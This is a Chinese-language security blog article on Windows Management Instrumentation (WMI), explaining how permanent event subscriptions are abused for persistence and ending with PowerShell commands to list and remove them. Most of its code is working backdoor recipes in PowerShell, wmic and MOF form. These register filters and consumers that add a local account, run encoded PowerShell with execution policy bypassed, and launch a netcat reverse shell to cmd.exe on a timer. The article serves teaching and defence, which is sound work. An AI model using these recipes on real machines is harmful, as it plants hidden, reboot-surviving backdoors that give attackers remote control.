WMI攻擊與安全防禦

廣州錦行科技發表於2020-06-27

作者:夜影實驗室(安全平臺部)-Addddd

簡介

WMI是一項Windows管理技術,其全稱是Windows Management Instrumentation,即Windows管理規範。大多數基於Windows的軟體依賴於此服務。因此有些駭客會針對WMI進行攻擊。本文介紹了 WMI 的攻擊和安全防禦方法,以供大家交流討論。

每個WMI 物件都是代表著獲取各種作業系統資訊與進行相關操作的類例項,以ROOT\CIMV2 作為預設的名稱空間,CIM為資料庫,並以WQL 查詢語句用於查詢 WMI 物件例項、類和名稱空間。


WMI 的主要互動方式

1、Powershell(Get-WmiObject、Set-WmiInstance、Invoke-WmiMethod等)

例如:Get-WmiObject-Namespace “ROOT” -Class __NAMESPACE

2、Wmic

例如:wmic/NAMESPACE:”\root\CIMV2″ PATH Win32_OperatingSystem


WMI事件

WMI事件會建立一個查詢請求,請求中定義了我們需要執行的操作,一旦事件發生就會執行我們定義的操作,支援兩種事件。

1、臨時事件:要建立事件的程式處於活動狀態,臨時事件就會被啟用(以當前許可權執行)

例如:

# Query for new process events

$queryCreate = "SELECT * FROM __InstanceCreationEvent WITHIN 5" +

        "WHERE TargetInstance ISA 'Win32_Process'"

# Create an Action

$CrateAction = {

        $name = $event.SourceEventArgs.NewEvent.TargetInstance.name

        write-host "Process $($name) was created."

}

# Register WMI event

Register-WMIEvent -Query $queryCreate -Action $CrateAction


每開啟一個新程式就會輸出程式名稱:

WMI攻擊與安全防禦


2、持久事件:事件儲存在CIM資料庫中,並且會一直處於活動狀態,直到從資料庫中刪除(以system許可權執行,且重啟保持不變)


持久事件與後門

利用持久事件來做後門(建立需要管理員許可權)需要三個部分。

1、事件過濾器(Filter):用來定義觸發的條件,包括系統啟動、特定程式執行、特定時間間隔等,儲存在ROOT\subscription的例項__ EventFilter物件中,多數事件使用WQL WITHIN子句指定輪詢間隔。

2、事件消費者(Consumer):用來指定要執行的具體操作,包括執行命令(CommandLineEventConsumer)、執行指令碼(ActiveScriptEventConsumer)、新增日誌條目(NTEventLogEventConsumer)或者傳送郵件(SMTPEventConsumer)。

3、繫結機制:將過濾器繫結到消費者(FilterToConsumerBinding類)


後門例項

不管是powershell,wmic還是mof檔案,都由三個部分組成。


Powershell實現


$filterName = 'Filtertest'

$consumerName = 'Consumertest'

$exePath = 'powershell -ep bypass -command “net user xxx xxx /add”'

$exePath2 = ‘powershell -ep bypass -enc dwBoAG8AYQBtAGkA’

$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE

TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

//定義Filter

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop

//定義Consumer

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}

//繫結

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}


效果:每60秒執行一次powershell命令。


Wmic實現


wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE, EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"


wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE, ExecutablePath="C:\Users\admin\Desktop\nc.exe",CommandLineTemplate="C:\Users\admin\Desktop\nc.exe 127.0.0.1 443 - e c:\windows\system32\cmd.exe"


wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"Filtertest\"", Consumer="CommandLineEventConsumer.Name=\"Consumertest\""


WMI攻擊與安全防禦

效果:定時觸發反彈


現如今,WMI攻擊在很多APT行為中也經常被利用:

WMI攻擊與安全防禦


Mof實現


#!vb

#pragma namespace ("\\\\.\\root\\subscription")

instance of __EventFilter as $FILTER

{

       Name = "FilterTEST";

       EventNamespace = "root\\cimv2";

 Query = "Select * From __InstanceModificationEvent "

   "Where TargetInstance Isa \"Win32_LocalTime\" "

   "And TargetInstance.Minute = 30 ";

       QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $CONSUMER

{

       Name = "ConsumerTEST";

       ScriptingEngine = "VBScript";

       ScriptText =

            "Set objShell = CreateObject(\"WScript.Shell\")\n"

      "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 127.0.0.1 443 -e C:\\Windows\\system32\\cmd.exe\"\n";

};

instance of __FilterToConsumerBinding

{

       Consumer = $CONSUMER ;

       Filter = $FILTER ;

};


執行命令:

Mofcomp xx.mof


效果:每30分鐘觸發反彈。


也可以直接執行vbs指令碼檔案:

instance ofActiveScriptEventConsumer as $Cons
{
        Name = “ASEC”;
        ScriptingEngine = “VBScript”;
        ScriptFileName = “c:\asec.vbs”;
};


安全防禦


檢視:

#ListEventFilters
Get-WMIObject-Namespace root\Subscription -Class __EventFilter


#ListEventConsumers
Get-WMIObject-Namespace root\Subscription -Class __EventConsumer


#ListEventBindings

Get-WMIObject-Namespace root\Subscription -Class __FilterToConsumerBinding


刪除:

#Filter
Get-WMIObject-Namespace root\Subscription -Class __EventFilter -Filter”Name=’BotFilter82′” | Remove-WmiObject -Verbose


#Consumer
Get-WMIObject-Namespace root\Subscription -Class CommandLineEventConsumer -Filter”Name=’BotConsumer23′” | Remove-WmiObject -Verbose


#Binding
Get-WMIObject-Namespace root\Subscription -Class __FilterToConsumerBinding -Filter”__Path LIKE ‘%BotFilter82%’” | Remove-WmiObject -Verbose


相關文章